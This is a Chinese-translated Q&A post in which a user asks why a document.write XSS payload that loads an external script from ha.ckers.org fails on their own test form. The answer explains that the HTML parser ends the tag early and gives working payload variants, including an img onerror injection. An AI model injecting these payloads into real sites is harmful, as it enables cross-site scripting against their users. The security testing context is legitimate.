0

如何.js使用此语法加载外部脚本?:

<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>.

对于所有想知道的人,我设置了一个我故意制作的测试表格,但我无法启动它,是的,我知道:

<script src=//ha.ckers.org/xss.js></script>

可以轻松工作,但我只是想弄清楚如何使用 document.write 来做到这一点。

感谢任何能够帮助我的人。//编辑为什么这不起作用? <img src=x onerror=document.write('<script src="http://ha.ckers.org/xss.js"><\/script>')>

4

1 回答 1

1

您必须记住的是,<script>....</script>标签中的内容对浏览器是不透明的。它的工作是,在看到<script>之后,在很大程度上收集所有内容而不对其进行解析,直到它看到</script>然后将插入的文本传递给 JavaScript 引擎。

<script>在您的情况下,它在and之间看到的</script>是:

document.write('<script src=http://ha.ckers.org/xss.js>

...这显然会导致语法错误。那是因为第一个 </script>终止了第一个 <script>

<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>
<!-- Browser thinks things end here ---------------------------^ -->

你必须把它分解,所以它不是文字序列</script>。有很多方法可以做到这一点。添加一个\

<script>document.write('<script src=http://ha.ckers.org/xss.js><\/script>')</script>

或断开字符串:

<script>document.write('<script src=http://ha.ckers.org/xss.js></scr' + 'ipt>')</script>
于 2013-07-03T22:20:15.760 回答